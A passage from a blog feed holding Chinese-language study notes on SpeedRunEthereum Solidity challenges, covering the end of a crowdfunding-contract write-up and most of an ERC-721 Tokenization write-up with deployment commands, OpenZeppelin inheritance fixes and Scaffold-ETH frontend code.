foundry</span><br></pre></td></tr></table></figure></div><p>本地开发常用三个终端:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">yarn chain</span><br><span class="line">yarn deploy</span><br><span class="line">yarn start</span><br></pre></td></tr></table></figure></div><p>测试命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yarn <span class="built_in">test</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint1'</span></span><br></pre></td></tr></table></figure></div><p>部署到 Sepolia 的核心流程:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yarn generate</span><br><span class="line">yarn deploy --network sepolia</span><br><span class="line">yarn verify --network sepolia</span><br><span class="line">yarn vercel --prod</span><br></pre></td></tr></table></figure></div><p><code>.env</code> 中只应该放本地私密配置,不应提交到仓库或博客。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">DEPLOYER_KEYSTORE_ACCOUNT=<your_keystore_account></span><br><span class="line">ETHERSCAN_API_KEY=<your_etherscan_api_key></span><br></pre></td></tr></table></figure></div><h2 id="专题十一:实战踩坑"><a href="#专题十一:实战踩坑" class="headerlink" title="专题十一:实战踩坑"></a>专题十一:实战踩坑</h2><h3 id="withdraw-失败:NotOpenToWithdraw"><a href="#withdraw-失败:NotOpenToWithdraw" class="headerlink" title="withdraw 失败:NotOpenToWithdraw()"></a><code>withdraw</code> 失败:<code>NotOpenToWithdraw()</code></h3><p><code>openToWithdraw</code> 默认是 <code>false</code>。只有众筹失败并调用 <code>execute()</code> 后,合约才会把它改成 <code>true</code>。</p><p>为了测试前端可以临时改成 <code>true</code>,但测试完必须恢复默认值,避免破坏真实业务状态。</p><h3 id="timeLeft-条件写反"><a href="#timeLeft-条件写反" class="headerlink" title="timeLeft() 条件写反"></a><code>timeLeft()</code> 条件写反</h3><p>错误写法会在 deadline 之后计算 <code>deadline - block.timestamp</code>,Solidity 0.8+ 的下溢检查会直接 revert。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if (block.timestamp < deadline) {</span><br><span class="line"> return deadline - block.timestamp;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">return 0;</span><br></pre></td></tr></table></figure></div><h3 id="Solidity-没有-then"><a href="#Solidity-没有-then" class="headerlink" title="Solidity 没有 then"></a>Solidity 没有 <code>then</code></h3><p>Solidity 的 <code>if</code> 语法没有 <code>then</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if (condition) {</span><br><span class="line"> // ...</span><br><span class="line">} else {</span><br><span class="line"> // ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="成功分支不要写多余状态"><a href="#成功分支不要写多余状态" class="headerlink" title="成功分支不要写多余状态"></a>成功分支不要写多余状态</h3><p>如果众筹成功,资金会被转给 <code>FundingRecipient</code>。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fundingRecipient.complete{value: address(this).balance}();</span><br></pre></td></tr></table></figure></div><p>这里不需要额外设置 <code>openToWithdraw = false</code>。默认就是 <code>false</code>,成功分支也不应该开放退款。</p><h3 id="直接转账测试-receive"><a href="#直接转账测试-receive" class="headerlink" title="直接转账测试 receive()"></a>直接转账测试 <code>receive()</code></h3><p>Debug Contracts 页面不一定提供 <code>receive()</code> 按钮。可以通过 MetaMask 直接发送 ETH,或用 <code>cast send</code> 对合约地址转账。</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cast send <contract_address> --value 0.1ether --private-key <private_key></span><br></pre></td></tr></table></figure></div><p>注意:真实私钥不要写进博客、命令历史或仓库文件。</p><h2 id="专题十二:项目结构"><a href="#专题十二:项目结构" class="headerlink" title="专题十二:项目结构"></a>专题十二:项目结构</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">challenge-crowdfunding/</span><br><span class="line">├── packages/</span><br><span class="line">│ ├── foundry/</span><br><span class="line">│ │ ├── contracts/</span><br><span class="line">│ │ │ ├── CrowdFund.sol</span><br><span class="line">│ │ │ └── FundingRecipient.sol</span><br><span class="line">│ │ ├── script/</span><br><span class="line">│ │ │ ├── Deploy.s.sol</span><br><span class="line">│ │ │ └── DeployCrowdFund.s.sol</span><br><span class="line">│ │ ├── test/</span><br><span class="line">│ │ │ └── CrowdFund.t.sol</span><br><span class="line">│ │ ├── foundry.toml</span><br><span class="line">│ │ ├── .env</span><br><span class="line">│ │ └── keystore/</span><br><span class="line">│ └── nextjs/</span><br><span class="line">│ ├── scaffold.config.ts</span><br><span class="line">│ ├── app/</span><br><span class="line">│ │ ├── crowdfund/page.tsx</span><br><span class="line">│ │ └── contributions/page.tsx</span><br><span class="line">│ └── contracts/deployedContracts.ts</span><br><span class="line">├── .challenge-ai/progress.json</span><br><span class="line">├── AGENTS.md</span><br><span class="line">├── CLAUDE.md</span><br><span class="line">└── package.json</span><br></pre></td></tr></table></figure></div><p><code>keystore/</code>、<code>.env</code> 和各种 API key 都不能提交。博客文章只保留公开链上地址、公开交易哈希和通关流程。</p><h2 id="核心收获"><a href="#核心收获" class="headerlink" title="核心收获"></a>核心收获</h2><ol><li>众筹合约本质是状态机,状态迁移必须由交易触发。</li><li><code>balances[msg.sender] += msg.value</code> 是退款记账的基础,不能覆盖。</li><li><code>call</code> 发 ETH 必须配合 CEI,否则容易出现重入风险。</li><li><code>block.timestamp</code> 只能作为链上时间参考,不能自动触发执行。</li><li><code>receive()</code> 能改善直接转账体验,但必须确保它也走正确记账路径。</li><li>Foundry 测试比手测可靠,尤其适合覆盖时间、退款和重入边界。</li><li>Etherscan 验证让评审能直接读取源码,是公开测试网部署的一部分。</li></ol><h2 id="有用链接"><a href="#有用链接" class="headerlink" title="有用链接"></a>有用链接</h2><ul><li>Challenge:<a class="link" href="https://speedrunethereum.com/challenge/crowdfunding" >https://speedrunethereum.com/challenge/crowdfunding<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 Portfolio:<a class="link" href="https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7" >https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f7<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Sepolia Etherscan:<a class="link" href="https://sepolia.etherscan.io/" >https://sepolia.etherscan.io<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Vercel:<a class="link" href="https://vercel.com/" >https://vercel.com<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Foundry 文档:<a class="link" href="https://book.getfoundry.sh/" >https://book.getfoundry.sh<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><h2 id="系列进度与后续方向"><a href="#系列进度与后续方向" class="headerlink" title="系列进度与后续方向"></a>系列进度与后续方向</h2><p>Ethereum 101 的 Token Vendor 和 Dice Game 也已完成,当前进度为 4/4。Advanced 部分可以继续研究 Build a DEX,把 ERC-20、AMM、流动性池和恒定乘积公式串起来,作为理解 DeFi 的后续入口。</p>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="Crowdfunding" scheme="https://kylinxin.github.io/tags/Crowdfunding/"/>
<category term="合约安全" scheme="https://kylinxin.github.io/tags/%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 00:Tokenization</title>
<link href="https://kylinxin.github.io/2026/06/21/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9ATokenization/"/>
<id>https://kylinxin.github.io/2026/06/21/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9ATokenization/</id>
<published>2026-06-21T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 0 关 Tokenization 聚焦 NFT 全栈开发:合约编写、测试、本地交互、Sepolia 部署、Etherscan 验证、Vercel 上线,以及最终提交通关。</p></blockquote><ul><li>关卡:Tokenization</li><li>完成日期:2026/06/21</li><li>状态:✅ ACCEPTED(+10 XP)</li><li>Ethereum 101 系列进度:✅ 5/5</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>构建一个可以铸造和转移 NFT 的 dApp,并把它部署到公开测试网和线上前端。</p><p>最终交付物包括:</p><ol><li>ERC-721 合约 <code>YourCollectible</code>。</li><li>可铸造、展示、转账 NFT 的 Next.js 前端。</li><li>部署到 Sepolia 的合约。</li><li>Etherscan 合约源码验证。</li><li>部署到 Vercel 的线上 dApp。</li><li>在 SpeedRunEthereum 提交并通过验证。</li></ol><h2 id="挑战完成记录"><a href="#挑战完成记录" class="headerlink" title="挑战完成记录"></a>挑战完成记录</h2><table><thead><tr><th>类别</th><th>内容</th></tr></thead><tbody><tr><td>部署钱包</td><td><code>0x6d1cd1d9f7226de5af18a7f9fd64e3aa6e81ca04</code></td></tr><tr><td>用户钱包</td><td><code>0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7</code></td></tr><tr><td>Sepolia 合约</td><td><code>0x2A4CDe1F94421E1230F71c9245A5ef237893521C</code></td></tr><tr><td>Etherscan</td><td><a class="link" href="https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C" >https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>Vercel 前端</td><td><a class="link" href="https://tokenization-ky.vercel.app/" >https://tokenization-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td>区块号</td><td><code>11113078</code></td></tr><tr><td>部署成本</td><td>约 <code>0.0092 ETH</code></td></tr></tbody></table><h2 id="专题一:Tokenization-与-ERC-721"><a href="#专题一:Tokenization-与-ERC-721" class="headerlink" title="专题一:Tokenization 与 ERC-721"></a>专题一:Tokenization 与 ERC-721</h2><p>Tokenization 的核心是把某种所有权表达为链上资产。NFT 不只是图片,它更重要的意义在于标准化的链上唯一所有权。</p><p>ERC-721 和 ERC-20 的关键区别:</p><table><thead><tr><th>标准</th><th>特性</th><th>例子</th></tr></thead><tbody><tr><td>ERC-20</td><td>同质化,每个 token 等价</td><td>USDT、USDC、DAI</td></tr><tr><td>ERC-721</td><td>非同质化,每个 token 独一无二</td><td>NFT、ENS、Uniswap V3 LP 仓位</td></tr></tbody></table><p>ERC-721 的基础接口包括:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">function ownerOf(uint256 tokenId) external view returns (address);</span><br><span class="line">function balanceOf(address owner) external view returns (uint256);</span><br><span class="line">function tokenURI(uint256 tokenId) external view returns (string memory);</span><br><span class="line"></span><br><span class="line">function transferFrom(address from, address to, uint256 tokenId) external payable;</span><br><span class="line">function safeTransferFrom(address from, address to, uint256 tokenId) external payable;</span><br><span class="line"></span><br><span class="line">function approve(address to, uint256 tokenId) external payable;</span><br><span class="line">function setApprovalForAll(address operator, bool approved) external;</span><br><span class="line"></span><br><span class="line">event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);</span><br><span class="line">event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);</span><br><span class="line">event ApprovalForAll(address indexed owner, address indexed operator, bool approved);</span><br></pre></td></tr></table></figure></div><p>这一关使用 OpenZeppelin 的三件套:</p><table><thead><tr><th>合约</th><th>作用</th></tr></thead><tbody><tr><td><code>ERC721</code></td><td>基础 ERC-721 实现:铸造、销毁、转移、授权</td></tr><tr><td><code>ERC721Enumerable</code></td><td>支持枚举一个地址持有的所有 tokenId</td></tr><tr><td><code>ERC721URIStorage</code></td><td>支持每个 token 单独设置 tokenURI</td></tr></tbody></table><p>其中 <code>Enumerable</code> 解决“如何列出我的所有 NFT”,<code>URIStorage</code> 解决“每个 NFT 如何对应自己的 metadata”。</p><h2 id="专题二:YourCollectible-合约实现"><a href="#专题二:YourCollectible-合约实现" class="headerlink" title="专题二:YourCollectible 合约实现"></a>专题二:YourCollectible 合约实现</h2><p>核心合约如下:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity ^0.8.20;</span><br><span class="line"></span><br><span class="line">import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";</span><br><span class="line">import {ERC721Enumerable} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";</span><br><span class="line">import {ERC721URIStorage} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";</span><br><span class="line">import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";</span><br><span class="line"></span><br><span class="line">contract YourCollectible is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {</span><br><span class="line"> uint256 private _nextTokenId;</span><br><span class="line"> string private _baseTokenURI = "https://ipfs.io/ipfs/";</span><br><span class="line"></span><br><span class="line"> constructor() ERC721("YourCollectible", "YCB") Ownable(msg.sender) {}</span><br><span class="line"></span><br><span class="line"> function mintItem(address to, string memory uri) public {</span><br><span class="line"> uint256 tokenId = _nextTokenId++;</span><br><span class="line"> _mint(to, tokenId);</span><br><span class="line"> _setTokenURI(tokenId, uri);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function _update(address to, uint256 tokenId, address auth)</span><br><span class="line"> internal</span><br><span class="line"> override(ERC721, ERC721Enumerable)</span><br><span class="line"> returns (address)</span><br><span class="line"> {</span><br><span class="line"> return super._update(to, tokenId, auth);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function _increaseBalance(address account, uint128 value)</span><br><span class="line"> internal</span><br><span class="line"> override(ERC721, ERC721Enumerable)</span><br><span class="line"> {</span><br><span class="line"> super._increaseBalance(account, value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function tokenURI(uint256 tokenId)</span><br><span class="line"> public</span><br><span class="line"> view</span><br><span class="line"> override(ERC721, ERC721URIStorage)</span><br><span class="line"> returns (string memory)</span><br><span class="line"> {</span><br><span class="line"> return super.tokenURI(tokenId);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function supportsInterface(bytes4 interfaceId)</span><br><span class="line"> public</span><br><span class="line"> view</span><br><span class="line"> override(ERC721, ERC721Enumerable, ERC721URIStorage)</span><br><span class="line"> returns (bool)</span><br><span class="line"> {</span><br><span class="line"> return super.supportsInterface(interfaceId);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>关键点:</p><ol><li><code>_nextTokenId++</code> 用计数器生成唯一 tokenId。</li><li><code>_mint(to, tokenId)</code> 完成铸造,并触发 <code>Transfer(address(0), to, tokenId)</code>。</li><li><code>_setTokenURI(tokenId, uri)</code> 把 metadata URI 绑定到 tokenId。</li><li><code>mintItem</code> 是 <code>public</code>,没有 <code>onlyOwner</code>,所以任何人都能铸造。这是挑战设计的一部分,用于展示 ERC-721 的开放铸造流程。</li></ol><h2 id="专题三:OpenZeppelin-v5-的钻石继承问题"><a href="#专题三:OpenZeppelin-v5-的钻石继承问题" class="headerlink" title="专题三:OpenZeppelin v5 的钻石继承问题"></a>专题三:OpenZeppelin v5 的钻石继承问题</h2><p>第一次编译时遇到的核心错误是:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Error: Derived contract must override function _update.</span><br><span class="line">Two or more base classes define function with same name and parameter types.</span><br><span class="line"></span><br><span class="line">Error: Derived contract must override function _increaseBalance.</span><br><span class="line">Error: Derived contract must override function tokenURI.</span><br><span class="line">Error: Derived contract must override function supportsInterface.</span><br></pre></td></tr></table></figure></div><p>原因是 <code>YourCollectible</code> 同时继承了多个 ERC-721 扩展,而这些父合约都重写了同一批函数。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> ERC721</span><br><span class="line"> / \</span><br><span class="line">ERC721Enumerable ERC721URIStorage</span><br><span class="line"> \ /</span><br><span class="line"> YourCollectible</span><br></pre></td></tr></table></figure></div><p>Solidity 无法自动判断该使用哪一个父类实现,所以子合约必须显式重写冲突函数,并在 <code>override(...)</code> 中列出相关父类。</p><p>四个必须处理的函数:</p><table><thead><tr><th>函数</th><th>作用</th></tr></thead><tbody><tr><td><code>_update</code></td><td>mint、burn、transfer 的核心状态更新</td></tr><tr><td><code>_increaseBalance</code></td><td>账户 NFT 数量更新,Enumerable 也依赖它维护索引</td></tr><tr><td><code>tokenURI</code></td><td>决定 metadata URI 的读取逻辑</td></tr><tr><td><code>supportsInterface</code></td><td>ERC-165 接口支持声明</td></tr></tbody></table><p>正确写法的原则是:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function foo(...) public override(A, B, C) {</span><br><span class="line"> super.foo(...);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><code>override(...)</code> 表示“这个冲突由当前合约统一接住”,<code>super</code> 表示“继续沿 Solidity 的 C3 线性化顺序调用父类逻辑”。不要自己重写一套父类状态更新逻辑,否则很容易破坏 Enumerable 的索引一致性。</p><h2 id="专题四:Scaffold-ETH-2-前端结构"><a href="#专题四:Scaffold-ETH-2-前端结构" class="headerlink" title="专题四:Scaffold-ETH 2 前端结构"></a>专题四:Scaffold-ETH 2 前端结构</h2><p>这一关基于 Scaffold-ETH 2。前端核心目录:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">packages/nextjs/</span><br><span class="line">├── app/</span><br><span class="line">│ ├── myNFTs/ # 铸造 NFT + 我的收藏</span><br><span class="line">│ ├── transfers/page.tsx # Transfer 事件列表</span><br><span class="line">│ ├── ipfsUpload/page.tsx # 上传图片到 IPFS</span><br><span class="line">│ ├── ipfsDownload/page.tsx # 从 IPFS 读取</span><br><span class="line">│ └── api/ipfs/ # IPFS pinning API 路由</span><br><span class="line">├── components/</span><br><span class="line">├── hooks/scaffold-eth/</span><br><span class="line">├── services/web3/wagmiConfig.tsx</span><br><span class="line">├── utils/tokenization/</span><br><span class="line">│ ├── nftsMetadata.ts</span><br><span class="line">│ ├── ipfs.ts</span><br><span class="line">│ └── ipfs-fetch.ts</span><br><span class="line">├── contracts/deployedContracts.ts</span><br><span class="line">└── scaffold.config.ts</span><br></pre></td></tr></table></figure></div><p>几个容易踩错的 hook 名称:</p><table><thead><tr><th>旧写法</th><th>当前写法</th></tr></thead><tbody><tr><td><code>useScaffoldContractRead</code></td><td><code>useScaffoldReadContract</code></td></tr><tr><td><code>useScaffoldContractWrite</code></td><td><code>useScaffoldWriteContract</code></td></tr><tr><td><code>useDeployedContractInfo</code></td><td><code>useScaffoldContract</code></td></tr></tbody></table><p>读合约:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { useScaffoldReadContract } <span class="keyword">from</span> <span class="string">"~~/hooks/scaffold-eth"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: tokenIdCounter } = <span class="title function_">useScaffoldReadContract</span>({</span><br><span class="line"> <span class="attr">contractName</span>: <span class="string">"YourCollectible"</span>,</span><br><span class="line"> <span class="attr">functionName</span>: <span class="string">"tokenIdCounter"</span>,</span><br><span class="line">});</span><br></pre></td></tr></table></figure></div><p>写合约:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { useScaffoldWriteContract } <span class="keyword">from</span> <span class="string">"~~/hooks/scaffold-eth"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> { writeContractAsync, isMining } = <span class="title function_">useScaffoldWriteContract</span>(<span class="string">"YourCollectible"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">await</span> <span class="title function_">writeContractAsync</span>({</span><br><span class="line"> <span class="attr">functionName</span>: <span class="string">"mintItem"</span>,</span><br><span class="line"> <span class="attr">args</span>: [address, ipfsUri],</span><br><span class="line">});</span><br></pre></td></tr></table></figure></div><p>监听事件:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { useScaffoldEventHistory } <span class="keyword">from</span> <span class="string">"~~/hooks/scaffold-eth"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: transferEvents } = <span class="title function_">useScaffoldEventHistory</span>({</span><br><span class="line"> <span class="attr">contractName</span>: <span class="string">"YourCollectible"</span>,</span><br><span class="line"> <span class="attr">eventName</span>: <span class="string">"Transfer"</span>,</span><br><span class="line"> <span class="attr">fromBlock</span>: <span class="number">0n</span>,</span><br><span class="line"> <span class="attr">watch</span>: <span class="literal">true</span>,</span><br><span class="line">});</span><br></pre></td></tr></table></figure></div><h2 id="专题五:RainbowKit-SSR-问题"><a href="#专题五:RainbowKit-SSR-问题" class="headerlink" title="专题五:RainbowKit SSR 问题"></a>专题五:RainbowKit SSR 问题</h2><p>本地打开 Next.js 前端时曾遇到 500:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">TypeError: localStorage.getItem is not a function</span><br><span class="line"> at getWalletConnectConnector (rainbowkit/dist/index.js)</span><br></pre></td></tr></table></figure></div><p>根因是 RainbowKit 初始化时读取 <code>localStorage</code>,但 Next.js App Router 默认会先做 SSR,服务端环境没有 <code>localStorage</code>。</p><p>失败方案是只在 Provider 内部用 <code>mounted</code> 判断,因为 <code>RainbowKitProvider</code> 自身初始化时已经访问了 <code>localStorage</code>。</p><p>正确方案是把整个 Provider 树改成客户端动态加载:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// components/ClientProviders.tsx</span></span><br><span class="line"><span class="string">"use client"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> dynamic <span class="keyword">from</span> <span class="string">"next/dynamic"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title class_">ScaffoldEthAppWithProviders</span> = <span class="title function_">dynamic</span>(</span><br><span class="line"> <span class="function">() =></span> <span class="keyword">import</span>(<span class="string">"~~/components/ScaffoldEthAppWithProviders"</span>).<span class="title function_">then</span>(<span class="function"><span class="params">m</span> =></span> m.<span class="property">ScaffoldEthAppWithProviders</span>),</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">ssr</span>: <span class="literal">false</span>,</span><br><span class="line"> <span class="attr">loading</span>: <span class="function">() =></span> <span class="literal">null</span>,</span><br><span class="line"> },</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> <span class="title function_">ClientProviders</span> = (<span class="params">{ children }: { children: React.ReactNode }</span>) => {</span><br><span class="line"> <span class="keyword">return</span> <span class="language-xml"><span class="tag"><<span class="name">ScaffoldEthAppWithProviders</span>></span>{children}<span class="tag"></<span class="name">ScaffoldEthAppWithProviders</span>></span></span>;</span><br><span class="line">};</span><br></pre></td></tr></table></figure></div><p>这样服务端不会执行 RainbowKit Provider,只有浏览器 hydrate 后才加载,<code>window</code> 和 <code>localStorage</code> 已经可用。</p><h2 